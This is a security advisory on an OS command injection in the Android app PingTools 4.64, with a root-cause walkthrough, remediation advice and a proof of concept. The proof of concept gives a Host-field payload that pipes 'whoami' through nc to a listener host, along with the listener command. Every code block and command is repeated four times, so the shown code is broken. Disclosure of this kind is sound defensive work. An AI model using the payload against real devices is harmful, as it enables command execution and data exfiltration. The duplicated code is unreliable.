PingTools Network Utilities 4.64 - OS command injection through Watcher ICMP host

8,6

High

Discovered by

Andrés Ramos

Offensive Team, Fluid Attacks

Abstract

Fluid Attacks discovered CVE-2026-103038, a high-severity OS command injection vulnerability (CWE-78) in PingTools 4.64. An attacker can execute arbitrary code or commands on the underlying host system. It has a CVSS v4.0 base score of 8.6. Fluid Attacks assigned this CVE as a CNA, and this advisory includes a proof of concept.

Summary

Full name

PingTools Network Utilities 4.64 - OS command injection through Watcher ICMP host

State

Public

Release date

Affected product

PingTools Network Utilities

Vendor

StreamSoft

Affected version(s)

4.64

Vulnerability name

OS Command Injection

Vulnerability type

Remotely exploitable

No

CVSS v4.0 vector string

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.6

Exploit available

Yes

Description

PingTools Network Utilities 4.64 Free contains an OS command injection vulnerability in the Host field of a Watcher ICMP service. When a Watcher check runs, the application includes the supplied Host value in a ping command, serializes that command to a single string, and executes it through sh -c.

A local attacker who can create or modify a Watcher ICMP service can supply shell metacharacters in Host to alter the intended command and execute attacker-controlled commands. Those commands run with the PingTools application UID, Android sandbox access, and permissions; the issue does not grant root or access to another application's private data.

The affected field is intended to contain a hostname or IP address. Watcher is presented as a remote-resource monitoring feature, and neither the interface nor vendor documentation describes shell syntax as accepted input.

Vulnerability

Root cause

The application combines data and shell syntax. It builds ping arguments in a list, flattens the list to one space-delimited string without quoting, and then deliberately invokes sh -c with that string. The Host value is neither constrained to a hostname/IP grammar nor shell-escaped before reaching the shell.

The tested application identifies itself as package ua.com.streamsoft.pingtools, version code 464, version name 4.64 Free, with minimum SDK 24 and target SDK 33.

Source-to-sink path

  1. Source — Watcher Host field (WatcherManageServiceFragment.java:164-179):

    if (this.f40296S0.length() == 0) {
        this.f40296S0.setError(...);
        return;
    }
    ...
    this.f40294Q0.updateHost(
        this.f40296S0.getText().toString().trim()
    );
    if (this.f40296S0.length() == 0) {
        this.f40296S0.setError(...);
        return;
    }
    ...
    this.f40294Q0.updateHost(
        this.f40296S0.getText().toString().trim()
    );
    if (this.f40296S0.length() == 0) {
        this.f40296S0.setError(...);
        return;
    }
    ...
    this.f40294Q0.updateHost(
        this.f40296S0.getText().toString().trim()
    );
    if (this.f40296S0.length() == 0) {
        this.f40296S0.setError(...);
        return;
    }
    ...
    this.f40294Q0.updateHost(
        this.f40296S0.getText().toString().trim()
    );

    Only the empty value is rejected. The layout allows up to 500 characters of unrestricted textNoSuggestions. In contrast, the adjacent port field is restricted to digits and is range-checked.


  2. Ineffective canonicalization (gl/C5551j.java:77-82, originally gl/j.java):

    public static String b(String value) {
        try {
            return IDN.toASCII(value);
        } catch (Exception ignored) {
            return value;
        }
    }
    public static String b(String value) {
        try {
            return IDN.toASCII(value);
        } catch (Exception ignored) {
            return value;
        }
    }
    public static String b(String value) {
        try {
            return IDN.toASCII(value);
        } catch (Exception ignored) {
            return value;
        }
    }
    public static String b(String value) {
        try {
            return IDN.toASCII(value);
        } catch (Exception ignored) {
            return value;
        }
    }

    IDN.toASCII is an internationalized-domain conversion routine, not a hostname allowlist or shell encoder. Values containing shell syntax can remain unchanged; if conversion throws, the catch block explicitly returns the original value. The report's conclusion therefore does not depend on IDN.toASCII throwing for the submitted payload.

  3. Host appended as a raw command token (rg/C8331b.java:126-133, originally rg/b.java):

    public C8331b z(String host) {
        ...
        this.f37478e = host;
        add(host);
        return this;
    }
    public C8331b z(String host) {
        ...
        this.f37478e = host;
        add(host);
        return this;
    }
    public C8331b z(String host) {
        ...
        this.f37478e = host;
        add(host);
        return this;
    }
    public C8331b z(String host) {
        ...
        this.f37478e = host;
        add(host);
        return this;
    }


  4. Unsafe command serialization (pg/AbstractC7999b.java:36-44,89-90, originally pg/b.java):

    public String h() {
        return Joiner.on(" ").join(this.arguments);
    }
    public String h() {
        return Joiner.on(" ").join(this.arguments);
    }
    public String h() {
        return Joiner.on(" ").join(this.arguments);
    }
    public String h() {
        return Joiner.on(" ").join(this.arguments);
    }

    For the submitted service, this produces a command beginning with ping -c 3 followed by the unquoted Host value.

  5. Shell sink (vi/C9626e0.java:169-189, originally vi/e0.java):

    command.z(IDNHelper.b(watcherServiceEntity.getHost()));
    LinuxShell.w1("sh", "-c", command.h());
    command.z(IDNHelper.b(watcherServiceEntity.getHost()));
    LinuxShell.w1("sh", "-c", command.h());
    command.z(IDNHelper.b(watcherServiceEntity.getHost()));
    LinuxShell.w1("sh", "-c", command.h());
    command.z(IDNHelper.b(watcherServiceEntity.getHost()));
    LinuxShell.w1("sh", "-c", command.h());

    pg/C8002e.java:59-70 confirms that LinuxShell forwards the three elements to ProcessBuilder.command(...). Although ProcessBuilder itself receives an argument array, its third element is interpreted as shell code because the executable is explicitly sh with -c.

  6. Execution context: the application declares network and other permissions, including INTERNET, but the process is still confined by the normal Android application UID and SELinux sandbox. The Watcher service is declared android:exported="false", so the tested application does not expose this sink directly as an unauthenticated Android service to other apps.

The official product listing describes Watcher as a facility for continuous monitoring of remote resources. In the analyzed version, the service editor offers ICMP, TCP, HTTP, and HTTPS checks and labels the affected input Host; neither the interface nor the product documentation presents shell syntax as accepted input. The application also restricts the adjacent port field to numeric values and validates its range, supporting the conclusion that these fields are intended to contain structured network configuration rather than shell fragments.

Using a shell internally to execute ping is an implementation choice and does not make command separators in the Host value part of the documented functionality. A safe implementation should invoke ping directly through a process API using a separate argument array, without sh -c, and validate the value as a supported hostname or IPv4/IPv6 address. It should also reject whitespace and option-like values beginning with -.

Impact

A successful injection runs commands as the PingTools application UID. Within that boundary, commands can:

  • read and exfiltrate files and databases accessible to PingTools, including application-private Watcher/backup data;

  • modify or delete PingTools data and configuration;

  • use permissions inherited from the application, notably outbound network access;

  • disrupt Watcher checks or the application process; and

  • establish persistence inside app-controlled storage to the extent permitted by Android and available executables.

PoC

Step-by-step

  1. On a tester-controlled machine reachable from the Android device, start a listener:

    ncat -nlvp 443
    ncat -nlvp 443
    ncat -nlvp 443
    ncat -nlvp 443


  2. Open PingTools Network Utilities and navigate to:

    Watcher -> Add (+) -> New Watcher Task
    Watcher -> Add (+) -> New Watcher Task
    Watcher -> Add (+) -> New Watcher Task
    Watcher -> Add (+) -> New Watcher Task


  3. Create a node, add a service, and choose service type ICMP.

  4. In Host, enter the following value after replacing 192.168.1.23 with the listener address:

    127.0.0.1>/dev/null;whoami|nc${IFS}192.168.1.23${IFS}443;ping${IFS}127.0.0.1;#
    127.0.0.1>/dev/null;whoami|nc${IFS}192.168.1.23${IFS}443;ping${IFS}127.0.0.1;#
    127.0.0.1>/dev/null;whoami|nc${IFS}192.168.1.23${IFS}443;ping${IFS}127.0.0.1;#
    127.0.0.1>/dev/null;whoami|nc${IFS}192.168.1.23${IFS}443;ping${IFS}127.0.0.1;#


  5. Save the service and Watcher task.

  6. Open the task menu and select Check.

  7. Observe a connection at the listener containing the PingTools process username, for example:

    u0_a330
    u0_a330
    u0_a330
    u0_a330

The effective shell program is equivalent to:

ping -c 3 127.0.0.1 >/dev/null;
whoami | nc 192.168.1.23 443;
ping 127.0.0.1;
#
ping -c 3 127.0.0.1 >/dev/null;
whoami | nc 192.168.1.23 443;
ping 127.0.0.1;
#
ping -c 3 127.0.0.1 >/dev/null;
whoami | nc 192.168.1.23 443;
ping 127.0.0.1;
#
ping -c 3 127.0.0.1 >/dev/null;
whoami | nc 192.168.1.23 443;
ping 127.0.0.1;
#

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-103038 to refer to this issue from now on.

Disclosure policy

System Information

  • Product: PingTools Network Utilities

  • Affected version: 4.64 Free (versionCode 464)

  • Package: ua.com.streamsoft.pingtools

  • Operating system: Android 7.0 and later according to the application's declared minimum SDK (minSdkVersion=24)

References

Solution and Workaround

Solution

The correction must remove the shell from this execution boundary; filtering shell metacharacters alone is not sufficient. LinuxShell should expose a non-shell process-execution interface that receives an argument list and passes that list unchanged to ProcessBuilder.command(...). It must not join the arguments, quote them into a string, or invoke sh -c internally.

The Watcher ICMP caller should validate the Host value immediately before process creation, then preserve it as exactly one argument:

String host = WatcherHostValidator.normalizeAndValidate(
    watcherServiceEntity.getHost()
);
List<String> argv = Arrays.asList("ping", "-c", "3", host);
LinuxShell.execute(argv); // delegates unchanged to ProcessBuilder.command(argv)
String host = WatcherHostValidator.normalizeAndValidate(
    watcherServiceEntity.getHost()
);
List<String> argv = Arrays.asList("ping", "-c", "3", host);
LinuxShell.execute(argv); // delegates unchanged to ProcessBuilder.command(argv)
String host = WatcherHostValidator.normalizeAndValidate(
    watcherServiceEntity.getHost()
);
List<String> argv = Arrays.asList("ping", "-c", "3", host);
LinuxShell.execute(argv); // delegates unchanged to ProcessBuilder.command(argv)
String host = WatcherHostValidator.normalizeAndValidate(
    watcherServiceEntity.getHost()
);
List<String> argv = Arrays.asList("ping", "-c", "3", host);
LinuxShell.execute(argv); // delegates unchanged to ProcessBuilder.command(argv)

WatcherHostValidator should parse IP literals without resolving them through DNS. For a hostname, it should first normalize internationalized labels with IDN.toASCII using strict STD3 rules, then validate the resulting ASCII hostname grammar and length limits. It should accept only the hostname, IPv4, and IPv6 forms that Watcher supports. It must reject empty values, whitespace and control characters, shell separators, substitutions, expansions, quotes, backticks, comments, and values beginning with -. Validation must be an allowlist; it must not attempt to make arbitrary input safe by stripping or escaping individual characters.

Apply the same validation at every persistence boundary, including the Watcher editor and Watcher-backup import and restore path. Import must reject an invalid Host before it is stored or scheduled. Existing stored values must be validated again immediately before execution, so a legacy or malformed persisted value cannot bypass an editor-only control.

Regression coverage should prove both validation and process-boundary behavior. Unit tests should accept representative DNS, IPv4, IPv6, and internationalized hostnames, and reject separators, expansions, substitutions, quotes, backticks, comments, whitespace, control characters, and option-like values. A fake process launcher or argument-capturing test must assert that the executable is ping, that no shell executable or -c is present, and that the validated Host is one argument even when it contains punctuation. End-to-end tests should exercise creation, editing, backup import, restore, scheduling, and execution of Watcher ICMP tasks, and assert that rejected inputs never create a process.

Workaround and temporary mitigation

Until a vendor-confirmed fixed version is available, disable Watcher ICMP where its monitoring function is not required. Where it must remain enabled, create or modify Watcher tasks only from reviewed configuration; do not import Watcher backups from an untrusted source. Inspect existing ICMP Host values and remove tasks containing whitespace, control characters, option-like prefixes, or shell syntax such as separators, substitutions, expansions, quotes, backticks, or comments.

These measures reduce accidental or configuration-delivered exposure but do not correct the vulnerable sh -c execution path. They are not a substitute for upgrading once a vendor-confirmed fixed version is published.

Credits

The vulnerability was discovered by Andrés Ramos from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.